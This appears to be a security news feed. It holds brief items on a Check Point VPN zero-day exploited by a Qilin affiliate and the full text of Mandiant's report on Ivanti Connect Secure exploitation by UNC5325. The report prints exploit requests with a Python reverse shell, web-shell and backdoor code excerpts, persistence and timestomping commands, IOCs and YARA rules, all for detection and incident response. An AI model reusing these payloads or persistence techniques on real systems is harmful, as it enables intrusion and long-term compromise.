A Qilin ransomware affiliate is believed to be exploiting CVE-2026-50751, an authentication bypass vulnerability in Check Point VPN Remote Access and Mobile Access, the company announced on Monday. About CVE-2026-50751 Check Point Remote Access VPN enables and secures connections between corporate networks and remote or mobile devices. Check Point Mobile Access lets mobile and remote workers connect securely to email, calendar, contacts, and corporate applications. CVE-2026-50751 affects both solutions, but only if they are configured … More → The post Qilin ransomware affiliate exploited Check Point VPN zero-day (CVE-2026-50751) appeared first on Help Net Security.

Qilin ransomware affiliate exploited Check Point VPN zero-day (CVE-2026-50751)

Mon, 08 Jun 2026 14:34:49 +0200

Security Advisory – Action Required – Active Exploitation of Check Point VPN Authentication Bypass (CVE-2026-50751)

Mon, 08 Jun 2026 13:05:35 +0200

Security Advisory – Action Required – Active Exploitation of Check Point VPN Authentication Bypass (CVE-2026-50751)

Mon, 08 Jun 2026 12:35:06 +0200

Check Point Research has identified active exploitation of CVE-2026-50751, a critical authentication bypass vulnerability affecting Check Point Remote Access VPN and Mobile Access deployments configured to use the deprecated IKEv1 key exchange protocol. By exploiting a logic flaw in certificate validation, an attacker can establish a VPN session without possession of a valid password, effectively bypassing authentication requirements. Additional post-authentication activity is required to access internal resources or escalate privileges. To date, the observed exploitation has been limited to a few dozen targeted organizations globally. One case involved confirmed post-compromise activity associated with Qilin ransomware affiliate. Customers using IKEv1 key […] The post Security Advisory – Action Required – Active Exploitation of Check Point VPN Authentication Bypass (CVE-2026-50751) appeared first on Check Point Blog.

Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts

Tue, 27 Feb 2024 01:00:00 +0100

Written by: Matt Lin, Robert Wallace, Austin Larsen, Ryan Gandrud, Jacob Thompson, Ashley Pearson, Ashley Frazer Mandiant and Ivanti's investigations into widespread Ivanti zero-day exploitation have continued across a variety of industry verticals, including the U.S. defense industrial base sector. Following the initial publication on Jan. 10, 2024, Mandiant observed mass attempts to exploit these vulnerabilities by a small number of China-nexus threat actors, and development of a mitigation bypass exploit targeting CVE-2024-21893 used by UNC5325, which we introduced in our "Cutting Edge, Part 2" blog post. Notably, Mandiant has identified UNC5325 using a combination of living-off-the-land (LotL) techniques to better evade detection, while deploying novel malware such as LITTLELAMB.WOOLTEA in an attempt to persist across system upgrades, patches, and factory resets. While the limited attempts observed to maintain persistence have not been successful to date due to a lack of logic in the malware's code to account for an encryption key mismatch, it further demonstrates the lengths UNC5325 will go to maintain access to priority targets and highlights the importance of ensuring network appliances have the latest updates and patches. Ivanti customers are urged to take immediate action to ensure protection if they haven't done so already. A new version of the external Integrity Checking Tool (ICT), which helps detect these persistence attempts, is now available. See Ivanti's security advisory and refer to our updated remediation and hardening guide, which includes the latest recommendations. The exploitation of the Ivanti zero-days has likely impacted numerous appliances. While much of the activity has been automated, there has been a smaller subset of follow-on activity providing further insights on attacker tactics, techniques, and procedures (TTPs). Mandiant assesses additional actors will likely begin to leverage these vulnerabilities to enable their operations. To date, Ivanti has disclosed the following five vulnerabilities affecting Ivanti Connect Secure and other products. Date CVE CVSS Description Jan. 10, 2024 CVE-2023-46805 8.2 Authentication bypass vulnerability in web component Jan. 10, 2024 CVE-2024-21887 9.1 Command injection vulnerability in web component Jan. 31, 2024 CVE-2024-21888 8.8 Privilege escalation vulnerability in web component Jan. 31, 2024 CVE-2024-21893 8.2 SSRF vulnerability in the SAML component Feb. 08, 2024 CVE-2024-22024 8.3 XXE vulnerability in the SAML component Table 1: Ivanti vulnerability disclosures Jan. 10, 2024 to Feb. 8, 2024 In our previous blog post, we described a mitigation bypass that was used to drop a newly identified BUSHWALK webshell. The mitigation bypass is now tracked as CVE-2024-21893. It is a server-side request forgery (SSRF) vulnerability in the SAML component of Ivanti Connect Secure (CS), Policy Secure (PS), and Neurons for Zero Trust Access (NZTA) appliances that was addressed in the patches and mitigations released on Jan. 31, 2024. Since that post, an additional vulnerability was reported on Feb. 8, 2024, by Ivanti, CVE-2024-22024, related to an XML External Entity (XXE) vulnerability in the SAML component that allows unauthenticated attackers to gain access to restricted resources on patched appliances. Attribution UNC5325 UNC5325 is a suspected Chinese cyber espionage operator that exploited CVE-2024-21893 to compromise Ivanti Connect Secure appliances. UNC5325 leveraged code from open-source projects, installed custom malware, and modified the appliance's settings in order to evade detection and attempt to maintain persistence. UNC5325 has been observed deploying LITTLELAMB.WOOLTEA, PITSTOP, PITDOG, PITJET, and PITHOOK. Mandiant identified TTPs and malware code overlaps in LITTLELAMB.WOOLTEA and PITHOOK with malware leveraged by UNC3886. Mandiant assesses with moderate confidence that UNC5325 is associated with UNC3886. UNC3886 UNC3886 is a suspected Chinese espionage operator that has compromised network devices at targets where they leveraged novel techniques against virtualization technologies. They installed custom malware built for such technologies by leveraging code from open-source projects as well as exploiting zero-day vulnerabilities. UNC3886 has primarily targeted the defense industrial base, technology, and telecommunication organizations located in the US and APJ regions. We are continuing to gather evidence and identify overlaps between UNC3886 and other suspected Chinese espionage groups, including targeting and the use of distinct tactics, techniques, and procedures (TTPs). New TTPs and Malware Since our last blog post on Ivanti exploitation, Mandiant has identified UNC5325 exploiting CVE-2024-21893 (SSRF) to deploy additional malware and maintain persistent access to compromised appliances. In addition, we have observed new TTPs that attempted to enable the custom backdoors to persist across factory resets, system upgrades, and patches. The limited attempts observed to maintain persistence have not been successful to date. Exploitation of CVE-2024-21893 (SSRF) Mandiant identified active exploitation of CVE-2024-21893 by UNC5325 as early as Jan. 19, 2024, targeting a limited number of Ivanti Connect Secure appliances. On Jan. 31, 2024, Ivanti disclosed CVE-2024-21893, a server-side request forgery (SSRF) vulnerability in the SAML component of Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA. To date, we have only identified successful exploitation against Ivanti Connect Secure appliances. In the same Jan. 31, 2024, announcement, Ivanti released a new XML mitigation to prevent exploitation of all four (4) disclosed CVEs at the time of the announcement. This included: CVE-2023-46805 (authentication bypass) CVE-2024-21887 (command injection) CVE-2024-21888 (privilege escalation) CVE-2024-21893 (server-side request forgery) CVE-2024-21893 allowed for an unauthenticated attacker to exploit an appliance by chaining the previously disclosed command injection vulnerability as described in CVE-2024-21887. This includes appliances with the XML mitigation released on Jan. 10, 2024. Chaining CVE-2024-21893 (SSRF) and CVE-2024-21887 (Command Injection) Shortly after the disclosure of CVE-2024-21893, Mandiant observed threat actors chaining the SSRF vulnerability with the command injection vulnerabilities described in CVE-2024-21887 to exploit vulnerable devices. In some instances, publicly available services, such as Interactsh, were used to validate whether the target was vulnerable to CVE-2024-21893. GET /api/v1/license/keys-status/;python -c 'import socket;socket.gethostbyname(".oast.live")' Figure 1: CVE-2024-21893 vulnerability validation Shortly after a vulnerable target was identified, the threat actor executed follow-on commands to perform reconnaissance and, in some cases, establish a reverse shell. GET /api/v1/license/keys-status/;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) ;s.connect(("",));subprocess.call(["/bin/sh","-i"] Figure 2: Python reverse TCP shell Identifying Exploitation Attempts Exploitation of the SSRF vulnerability in the SAML component generates up to two (2) log events and some host-based artifacts on an affected appliance. If the Ivanti Connect Secure appliance is configured to log unauthenticated requests, event ID AUT31556 is generated when an unauthenticated attacker requests the vulnerable SAML endpoint, /dana-ws/saml.ws. The event includes the source IP address of the unauthenticated request. AUT31556: Unauthenticated request url /dana-ws/saml.ws came from IP . Figure 3: Event log entry showing unauthenticated request to vulnerable SAML endpoint In addition, the server fails to gracefully handle the maliciously crafted SAML payload to exploit CVE-2024-21893. The appliance generates an error event log entry with event ID ERR31903 when the saml-server process crashes, which is potentially indicative of an exploitation attempt. ERR31093: Program saml-server recently failed. Figure 4: Event log entry of process crash We recommend analyzing both allocated and unallocated disk space on the forensic image for the presence of the log events as we have observed the threat actor deleting the relevant log files. Lastly, the crash of the saml-server process generates core dumps located in /data/var/cores/. If the core dumps are available, it is possible to extract the crafted SAML message, HTTP headers of the request, and the source IP address. We have observed the threat actor deleting the contents of the cores directory, but we have successfully recovered relevant fragments of the core dumps through file carving. BUSHWALK Variant In Cutting Edge, Part 2, we introduced a new web shell tracked as BUSHWALK associated with the exploitation of CVE-2024-21893 and CVE-2024-21887. Similar to other web shells observed in this campaign, BUSHWALK is written in Perl and embedded into a legitimate Ivanti Connect Secure component, querymanifest.cgi. Mandiant identified a new variant of BUSHWALK through our incident response engagements. This new variant of BUSHWALK was identified on a compromised appliance less than twelve (12) hours following Ivanti's disclosure of CVE-2024-21893 on Jan. 31, 2024. The variant is similar to the BUSHWALK sample described in our previous blog post, but with a new function named checkVerison that enables arbitrary file read from the appliance. The function is executed when the decrypted payload contains the string check. Figure 5 shows the relevant checkVerison function. sub checkVerison { my ($file, $key) = @_; my $contents = ""; my $buffer; my $bytesread = 0; my $totalbytesread = 0; local *FILE; CORE::open(*FILE, $file); while($bytesread = sysread(FILE, $buffer, 1024)) { $contents .= $buffer; $totalbytesread += $bytesread; } if ($totalbytesread == 0) { print "Unable to read file with path: $file"; print CGI::header(-type=>"text/html", -status=> '404 Not Found'); exit; } print CGI::header(); $contents = RC4($key, $contents); $contents = MIME::Base64::encode_base64($contents); print $contents; close *FILE; } Figure 5: BUSHWALK's checkVerison function for file reading Note that we have observed the same RC4 key for decrypting issued commands across the two BUSHWALK variants and all identified samples. In addition, we have seen the threat actor demonstrate a nuanced understanding of the appliance and their ability to subvert detection throughout this campaign. We identified a technique allowing BUSHWALK to remain in an undetected dormant state by creatively modifying a Perl module and LotL technique by using built-in system utilities unique to Ivanti products. To accomplish this, the threat actor first modifies a Perl module, DSUserAgentCap.pm, that evaluates incoming user agents. The modification enables the threat actor to either activate or deactivate BUSHWALK depending on the incoming HTTP request's user agent. Figure 6 provides the excerpt of the modification in DSUserAgentCap.pm. Note the difference in spelling between App1eWebKit and AppIeWebKit in the two user agent strings. sub getUserAgentType { my ($user_agent) = @_; if ($user_agent eq "Mozilla/5.0 (Windows NT 10.0; Win64; x64) App1eWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"){ system("mount -o remount,rw /"); system("/home/bin/configdecrypt /data/runtime /cockpit/diskAnalysis /data/runtime/cockpit/diskAnalysis.bak"); system("cp /home/webserver/htdocs/dana-na/jam/querymanifest.cgi /home/webserver/htdocs/dana-na/jam/querymanifest.cgi.bak"); system("echo '/home/webserver/htdocs/dana-na/jam /querymanifest.cgi' >> /home/etc/manifest/exclusion_list"); system("mv /data/runtime/cockpit/diskAnalysis.bak /home/webserver/htdocs/dana-na/jam/querymanifest.cgi"); system("chmod 755 /home/webserver/htdocs/dana-na/jam /querymanifest.cgi"); system("mkdir /debug"); system("/home/bin/restartServer.pl Restart"); exit(0); } elsif ($user_agent eq "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppIeWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"){ system("mv /home/webserver/htdocs/dana-na/jam /querymanifest.cgi.bak /home/webserver/htdocs/dana-na/jam/querymanifest.cgi"); system("touch -r /home/webserver/htdocs/dana-na/auth /setcookie.cgi /home/webserver/htdocs/dana-na/jam/querymanifest.cgi"); system("/bin/sed -i '\$d' /home/etc/manifest/exclusion_list"); system("rm -rf /debug"); system("mount -o remount,ro /"); exit(0); } else{ my $type = DSClientTypes::getUserAgentType($user_agent); return $type; } Figure 6: Excerpt of DSUserAgentCap.pm An encrypted version of BUSHWALK is placed in a directory excluded by the integrity checker tool (ICT) in /data/runtime/cockpit/diskAnalysis. The activation routine (the if block) uses a built-in utility on the appliance located in /home/bin/configdecrypt used for decrypting the system's configuration. The routine executes the configdecrypt utility to decrypt diskAnalysis containing the BUSHWALK web shell. It then makes a backup of the original querymanifest.cgi file, adds it to the exclusion_list, moves BUSHWALK to the web server directory, and restarts the web server to load the web shell. The deactivation routine (the elseif block) restores the original querymanifest.cgi file, timestomps it using touch to hide their activity, removes the path of BUSHWALK from exclusion_list, and restarts the web server. However, the encrypted version of BUSHWALK remains dormant in a dynamic directory and therefore is not scanned by the integrity checker tool. It continues to quietly persist in /data/runtime/cockpit/diskAnalysis until the threat actor activates it again. The internal ICT is configured to run in two-hour intervals by default and is meant to be run in conjunction with continuous monitoring. Any malicious file system modifications made and reverted between the two-hour scan intervals would remain undetected by the ICT. When the activation and deactivation routines are performed tactfully in quick succession, it can minimize the risk of ICT detection by timing the activation routine to coincide precisely with the intended use of the BUSHWALK webshell. SparkGateway Plugin Abuse In a limited number of instances following exploitation of CVE-2024-21893, we identified the use of SparkGateway plugins to persistently inject shared objects and deploy backdoors. SparkGateway is a legitimate component of the Ivanti Connect Secure appliance that enables remote access protocols over a browser, such as RDP or SSH. The functionality of SparkGateway can be extended through plugins. PITFUEL Plugin Mandiant identified a SparkGateway plugin named plugin.jar (PITFUEL) that loads the shared object libchilkat.so (LITTLELAMB.WOOLTEA) through the Java Native Interface (JNI) by calling System.load(). The shared object persistently deploys backdoors and contains capabilities to persist across system upgrade events, patches, and factory resets. Figure 7 shows the relevant excerpt of the PluginManager class in PITFUEL. public class PluginManager { static { try { System.load("/home/runtime/SparkGateway/libchilkat.so"); } catch (Exception exception) {} try { Config config = Config.getInstance(); config.remove("plugin"); config.remove("pluginFile"); } catch (Exception exception) {} try { Logger logger = Logger.getLogger(Config.class.getName()); SparkGatewayFilter sparkGatewayFilter = new SparkGatewayFilter(); logger.setFilter(sparkGatewayFilter); } catch (Exception exception) {} } static class SparkGatewayFilter implements Filter { public boolean isLoggable(LogRecord param1LogRecord) { return (param1LogRecord.getLevel().intValue() != Level. SEVERE.intValue()); } } } Figure 7: PluginManager class of SparkGateway plugin (PITFUEL) Upon execution, libchilkat.so (LITTLELAMB.WOOLTEA) performs a number of initialization routines to ensure that it persistently runs in the background on the compromised system. It accomplishes this by daemonizing itself, attempting to trap SIGPIPE, SIGKILL, and SIGTERM signals, and adjusting the out of memory (OOM) adjustment value (oom_adj) to -17 to keep the process running even when the system is out of memory. Persistence Across System Upgrades and Patches Upon first execution, LITTLELAMB.WOOLTEA executes the first_run() function. It calls the edit_current_data_backup() function that appends its malicious components to an archive, /data/pkg/data-backup.tgz. Figure 8 provides the equivalent command sequence. gzip -d /data/pkg/data-backup.tgz > /dev/null 2>&1 tar -rf /data/pkg/data-backup.tar /data/runtime/SparkGateway/plugin.jar /data/runtime/SparkGateway/libchilkat.so /data/runtime/SparkGateway/gateway.conf > /dev/null 2>&1 gzip /data/pkg/data-backup.tar > /dev/null 2>&1 mv /data/pkg/data-backup.tar.gz /data/pkg/data-backup.tgz > /dev/null 2>&1 Figure 8: Command sequence executed by edit_current_data_backup() During a system upgrade or when applying a patch, data-backup.tgz contains a backup of the data directory that is restored after the upgrade event. In addition, the function timestomps data-backup.tgz by calling utimensat. This modification would ensure its malicious components (plugin.jar, libchilkat.so, and gateway.conf) persist across system upgrades and patches. (cd / ; tar -zxBf /data/pkg/data-backup.tgz >/dev/null 2>&1) Figure 9: Decompression of data-backup.tgz during system upgrade events In addition, the malware contains a function named upgrade_monitor() that supports persistence across system upgrade and patch events. We assess that this acts as a secondary persistence method by making a modification at the precise moment of a system upgrade or patch event. It monitors for system upgrade events by continually checking the filesystem for the existence of /tmp/data/root/dev. This path is used to support a system upgrade process. In other words, the presence of the path indicates to the malware the existence of a system upgrade event. If the path exists, it intervenes the system upgrade process by appending itself and its constituent components into the archive /tmp/data/root/samba_upgrade.tar. During a system upgrade process, the appliance decompresses samba_upgrade.tar for data migration purposes. Figure 10 provides the command executed by upgrade_monitor() when it detects the existence of /tmp/data/root/dev. tar -rf /tmp/data/root/samba_upgrade.tar /home/runtime/SparkGateway/plugin.jar /home/runtime/SparkGateway/libchilkat.so /home/runtime/SparkGateway/gateway.conf > /dev/null 2>&1 Figure 10: Shell command executed by upgrade_monitor() During the system upgrade or patch process, the post-install bash script executes the following to decompress samba_upgrade.tar, copying the malicious components (libchilkat.so, plugin.jar, and gateway.conf) to the new active partition. Figure 11 provides the relevant command sequence from post-install. tar -tf $upgrade_partition samba_upgrade.tar > /dev/null 2>&1 if [ $? -eq 0 ]; then (cd /; tar -xf $upgrade_partition samba_upgrade.tar >/dev/null) fi Figure 11: Decompression of samba_upgrade.tar by post-install script Attempted Persistence Across Factory Resets Next, LITTLELAMB.WOOLTEA executes first_run(), which reads and checks the hardware of the appliance by reading the first four (4) bytes of the motherboard serial number at /proc/ive/mbserialnumber and adjusts its behavior to mount the root partition of the factory reset image for further modification. If the four (4) bytes match the strings 0331, 0332, 0340, 0481, or 0482, the malware executes the following command to mount /dev/md5 (factory reset root partition) on /dev/loop5. /bin/losetup /dev/loop5 /dev/md5 > /dev/null 2>&1 Figure 12: Command to set up loop device for block device /dev/md5 Each of the four-byte strings corresponds to a physical Pulse Secure Appliance (PSA) or a Ivanti Secure Appliance (ISA) product. Machine ID Appliance Model Number 0331 PSA 7000F 0332 PSA 7000C 0340 PSA 10000 0481 ISA 8000F 0482 ISA 8000C Table 2: Machine ID to physical appliance model number Otherwise, the malware executes the following command to mount /dev/xda5 (factory reset root partition) on /dev/loop5 if the four (4) bytes do not match any of the machine ID strings or if it fails to read /proc/ive/mbserialnumber. /bin/losetup /dev/loop5 /dev/xda5 > /dev/null 2>&1 Figure 13: Command to set up loop device for block device /dev/xda5 Next, LITTLELAMB.WOOLTEA mounts the newly created loop device (/dev/loop5) to /tmp/tmpmnt to modify the factory reset root partition. Figure 14 provides the equivalent command sequence. mkdir -m 777 /tmp/tmpmnt mount /dev/loop5 /tmp/tmpmnt -t ext2 Figure 14: Command to mount loop device /dev/loop5 It's important to note that /bin/losetup uses an embedded encryption key within the running version's kernel used to decrypt the running version's partition. This encryption key is hardcoded at the time of build compilation and is unique for each appliance version. However, the factory reset partition maintains its own independent encryption key embedded in the factory kernel. If the current running version and the factory reset deployment versions differ (i.e., the appliance or VM has been updated at least once), then /bin/losetup will fail to decrypt the factory reset partition due to the encryption key mismatch and thus the malware will not persist after factory reset. Note that Mandiant and Ivanti conducted forensic analysis on an affected appliance after factory reset to confirm no evidence of malware persistence. Because the appliance had undergone at least one update since its initial deployment, the malware failed to persist through the factory reset as the encryption key of the factory reset kernel and the running version kernel were different. If losetup had succeeded in decrypting the factory reset image, the malware would continue its persistence workflow. To modify the factory reset process, it calls the edit_factory_reset() function that renames the tar binary to tra in the mounted factory reset partition. mv /tmp/tmpmnt/bin/tar /tmp/tmpmnt/bin/tra Figure 15: Command to rename tar binary Then, the malware writes a trojanized version of the tar binary to /tmp/tmpmnt/bin/tar, makes the tar binary executable, and preemptively appends its malicious components (using the legitimate tar utility) to the archive /tmp/tmpmnt/bin/samba_upgrade.tar inside the factory reset partition. tar -rf /tmp/tmpmnt/bin/samba_upgrade.tar /home/runtime/SparkGateway/plugin.jar /home/runtime/SparkGateway/libchilkat.so /home/runtime/SparkGateway/gateway.conf > /dev/null 2>&1 Figure 16: Command to archive components to samba_upgrade.tar The trojanized tar binary checks for a set of specific conditions to copy the malicious /bin/samba_upgrade.tar to /tmp/samba_upgrade.tar during the factory reset process. There are four arguments provided (argc is equal to 4) The second argument, argv[1], is -cf The fourth argument, argv[3], is no-data If any of these conditions are not met, the trojanized tar binary executes the legitimate tar (/bin/tra) utility backed up in Figure 15. The conditions are satisfied by a component of the factory reset procedure responsible for resetting the configuration (dsconfigreset). The utility creates an empty file in /tmp/no-data and archives it using /bin/tar -cf. Figure 17 provides the relevant command sequence. echo "" > /tmp/no-data (cd /tmp; /bin/tar -cf $tmp_part no-data) Figure 17: Command executed during factory reset by dsconfigreset When dsconfigreset executes /bin/tar -cf $tmp_part no-data, the trojanized tar copies the contents of /bin/samba_upgrade.tar containing its malicious components to /tmp/samba_upgrade.tar in the factory reset root partition (mounted on /tmp/tmpmnt). Next, similar to the previously described system upgrade persistence flow, the appliance executes the post-install bash script during the installation process of the new system. This script decompresses the samba_upgrade.tar archive in the factory reset partition, copying the malicious components (libchilkat.so, plugin.jar, and gateway.conf) to the new active partition created after the factory reset. Hooking the Web Server Process The httpd_monitor() function ensures the persistent injection of another shared object, libaprhelper.so (PITSOCK), into the web process using a built-in injection function named inject_loop(). PITSOCK hooks the functions accept and setsockopt of the web process by modifying its procedure linkage table (PLT). This enables backdoor communication via the Unix socket /tmp/clientsDownload.sock when it receives a specific 48-byte magic byte sequence in the incoming buffer. Creating the Malicious SparkGateway Plugin Lastly, libchilkat.so calls persist(), which modifies the SparkGateway configuration file. Figure 18 shows an excerpt from the modified SparkGateway configuration file to support and load the plugin. plugin = com.toremote.gateway.plugin.PluginManager pluginFile = /home/runtime/SparkGateway/plugin.jar Figure 18: Excerpt of SparkGateway configuration file Backdoor Features libchilkat.so also serves as a stand-alone backdoor that supports expected features such as command execution, file management, shell creation, SOCKS proxy, and network traffic tunneling. It communicates over SSL using the private key located on the Ivanti Connect Secure web server (/home/webserver/conf/ssl.key/secure.key) and communicates using the socket /tmp/clientsDownload.sock. PITDOG Plugin Mandiant identified a second malicious SparkGateway plugin named security.jar (PITDOG) that uses Kubo Injector (memorysCounter) to inject a shared object, mem.rd (PITHOOK), into the web process memory, and persistently executes a backdoor, dsAgent (PITSTOP). Figure 19 shows the relevant excerpts from security.jar. public class SparkPlugin implements ManagerInterface { public static void watchdog() { try { Thread.sleep(300000L); ProcessBuilder processBuilder = new ProcessBuilder(new String[0]); Process process = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps aux|grep '/home/bin/web'|grep -v grep | awk '{if (NR!=1) {print $2}}'" }); BufferedReader reader = new BufferedReader(new InputStreamReader (process.getInputStream())); String line; while ((line = reader.readLine()) != null) { int procnum = Integer.parseInt(line); String catprocstr = String.format("cat /proc/%d/maps | grep mem.rd", new Object[] { Integer.valueOf(procnum) }); Process processinjectres = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", catprocstr }); BufferedReader processinjectreader = new BufferedReader(new InputStreamReader(processinjectres.getInputStream())); if ((line = processinjectreader.readLine()) == null) { String processinjectstr = String.format("/data/runtime/cockpit /memorysCounter -p %d /data/runtime/cockpit/mem.rd", new Object[] { Integer.valueOf(procnum) }); Process process1 = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", processinjectstr }); } } Process processps = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps aux|grep '/data/runtime/cockpit/dsAgent'|grep -v grep | awk '{print $2}'" }); BufferedReader readerps = new BufferedReader(new InputStreamReader(processps.getInputStream())); if ((line = readerps.readLine()) == null) { Process processinjectres = Runtime.getRuntime().exec("rm -f /data/runtime/cockpit/wd.lock"); ProcessBuilder processBuilder1 = (new ProcessBuilder(new String[] { "/data/runtime/cockpit/dsAgent" })).redirectErrorStream(true); Process process1 = processBuilder1.start(); } } catch (Exception exception) {} } public HandshakeInterface getHandshakePlugin() { long timeInterval = 10000L; Runnable runnable = new Runnable() { public void run() { while (true) { SparkPlugin.watchdog(); try { Thread.sleep(10000L); } catch (InterruptedException e) { e.printStackTrace(); } } } }; Thread thread = new Thread(runnable); thread.start(); return null; } Figure 19: Excerpt of security.jar plugin The SparkGateway configuration is modified to load the plugin. Figure 20 shows the relevant excerpt from gateway.conf. plugin = SparkPlugin pluginFile = /data/runtime/cockpit/security.jar Figure 20: Excerpt of SparkGateway configuration file The security.jar plugin is executed during the negotiation of an RDP connection when the system invokes the Handshake plugin. The getHandshakePlugin() method creates a new thread from a Runnable interface that repeatedly calls SparkPlugin.watchdog() every ten (10) seconds. This acts as a persistence method to ensure the continuous execution of the malicious watchdog method without interfering with the primary operation of the SparkGateway application. The watchdog method first checks if the shared object mem.rd (PITHOOK) is mapped within the web process memory. If not, it injects mem.rd into the web process. Figure 21 shows the command executed to inject PITHOOK (mem.rd) into the web process, where %d represents the process ID (PID) of the web process. /data/runtime/cockpit/memorysCounter -p %d /data/runtime/cockpit/mem.rd Figure 21: Command to inject PITHOOK We determined that /data/runtime/cockpit/memorysCounter is a direct instance of Kubo Injector without any additional modifications or changes. Kubo Injector is based on the popular linux-inject project, a utility that can inject a shared object into an arbitrary process given a process name or process ID. PITHOOK hooks the accept and accept4 functions within the web process by modifying the PLT. When PITHOOK receives a buffer matching the predefined magic byte sequence, it will duplicate the socket and forward it to PITSTOP over the Unix domain socket /data/runtime/cockpit/wd.fd. Lastly, the watchdog method will execute the PITSTOP backdoor (/data/runtime/cockpit/dsAgent) if it is not already running. PITSTOP creates and listens on the Unix domain socket located at /data/runtime/cockpit/wd.fd. It waits to receive a socket forwarded by PITHOOK after receiving the predefined magic byte sequence. Then PITSTOP duplicates the socket for further communication over TLS. When the TLS connection is established, PITSTOP uses Base64 and a hard-coded AES key to evaluate the incoming command. It supports shell command execution, file write, and file read on the compromised appliance. Outlook and Implications UNC5325’s TTPs and malware deployment showcase the capabilities that suspected China-nexus espionage actors have continued to leverage against edge infrastructure in conjunction with zero days. Similar to UNC4841’s familiarity with Barracuda ESGs, UNC5325 demonstrates significant knowledge of the Ivanti Connect Secure appliance as seen in both the malware they used and the attempts to persist across factory resets. Mandiant expects UNC5325 as well as other China-nexus espionage actors to continue to leverage zero day vulnerabilities on network edge devices as well as appliance-specific malware to gain and maintain access to target environments. The material in this blog post is being shared as cyber threat indicators and defensive measures solely for cybersecurity purposes in accordance with the Cybersecurity Information Sharing Act of 2015 (“CISA/2015”). This information is subject to the provisions of CISA/2015, including 6 U.S. Code § 1504(d)(1). Indicators of Compromise (IOCs) Host-Based Indicators (HBIs) Filename MD5 Description DSUserAgentCap.pm e4fe3a314a3aee5aee9c55787a33671c BUSHWALK activator / deactivator querymanifest.cgi e48716521dc48425feae71bc9dc768cd BUSHWALK variant diskCounters 8c4b32e8ee9e0b2f8dab01364971ffff Dropper for DSUserAgentCap.pm diskmonitor e33a3a90f1f8fa6d8f17bc6151b027d6 Encrypted DSUserAgentCap.pm diskAnalysis 6c58b8b1e3b36a5a124afd110c109ebc Encrypted BUSHWALK variant plugin.jar b76d7890a7a7ff6d0b1151a8251e318f PITFUEL SparkGateway plugin gateway.conf 9e0941c4851d414b5d25dd15872c3e47 SparkGateway config to load PITFUEL libchilkat.so fd83b3e9db57838b62c5baf8218ce5a8 LITTLELAMB.WOOLTEA backdoor libaprhelper.so 2ddeca6511506fe435dc1f63b4cf061c PITSOCK backdoor security.jar f64a799ff16aded3f4d6706ffbd7e6dd PITDOG SparkGateway plugin gateway.conf fb973c8bbfdba234ea83ee20084dcac9 SparkGateway config to load PITDOG mem.rd 5368b1122c10fa7850f44d3e16fc18fb PITHOOK backdoor memorysCounter 31a591a28198f05e9ab4d12609a9ce81 Kubo Injector dsAgent 5f561f217a8046de8cadf418ef4dfda0 PITSTOP backdoor wd.fd N/A Unix domain socket for PITSTOP wd.lock N/A Mutex for PITSTOP Table 3: Host-based indicators YARA Rules rule M_Launcher_PITDOG_1 { meta: author = "Mandiant" description = "This rule is designed to detect on events related to PITDOG." strings: $str2 = "cat /proc/%d/maps | grep mem.rd" $str3 = "/data/runtime/cockpit/memorysCounter -p %d /data/runtime/cockpit/mem.rd" $str4 = "rm -f /data/runtime/cockpit/wd.lock" $str5 = "/data/runtime/cockpit/dsAgent" $str6 = "watchdog" $str7 = "ps aux|grep '/home/bin/web'|grep -v grep | awk '{if (NR!=1) {print $2}}'" condition: uint32(0) == 0xBEBAFECA and all of them } rule M_Utility_PITHOOK_1 { meta: author = " Mandiant" description = "This rule is designed to detect on events related to PITHOOK." strings: $str1 = "/data/runtime/cockpit/wd.fd" $str2 = "/proc/self/maps" $str3 = "plthook_open" $str4 = "plthook_replace" $str5 = "plthook_close" $str6 = "plthook_open_by_handle" $str7 = "plthook_open_by_address" $str8 = "plthook_enum" $str9 = "plthook_error" $str10 = "accept4_hook" condition: uint32(0) == 0x464C457F and all of them } rule M_Hunting_Webshell_BUSHWALK_1 { meta: author = "Mandiant" description = "This rule detects BUSHWALK, a webshell written in Perl CGI that is embedded into a legitimate Pulse Secure file to enable file transfers" strings: $s1 = "SafariiOS" ascii $s2 = "command" ascii $s3 = "change" ascii $s4 = "update" ascii $s5 = "$data = RC4($key, $data);" ascii condition: filesize < 5KB and all of them } rule M_Hunting_Launcher_PITFUEL_1 { meta: author = "Mandiant" description = "This rule detects class used in PITFUEL, a malicious JAR-based launcher that loads malicious code" strings: $h1 = {50 4B 03 04} $s1 = "com/toremote/gateway/plugin/PluginManager.class" condition: $h1 at 0 and for any i in (0..#h1): ($s1 in (@h1[i]..@h1[i]+80)) } Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation. VID Name A106-935 Application Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1 A106-934 Application Vulnerability - CVE-2024-21887, Command Injection, Variant #1 A106-936 Application Vulnerability - CVE-2024-21887, Command Injection, Variant #2 A106-986 Application Vulnerability - CVE-2024-21893, Exploitation, Variant #1 A107-055 Application Vulnerability - CVE-2024-22024, Exploitation, Variant #1 A107-060 Malicious File Transfer - BUSHWALK, Download, Variant #1

Cutting Edge, Part 4: Ivanti Connect Secure VPN Post-Exploitation Lateral Movement Case Studies

Thu, 04 Apr 2024 16:00:00 +0200

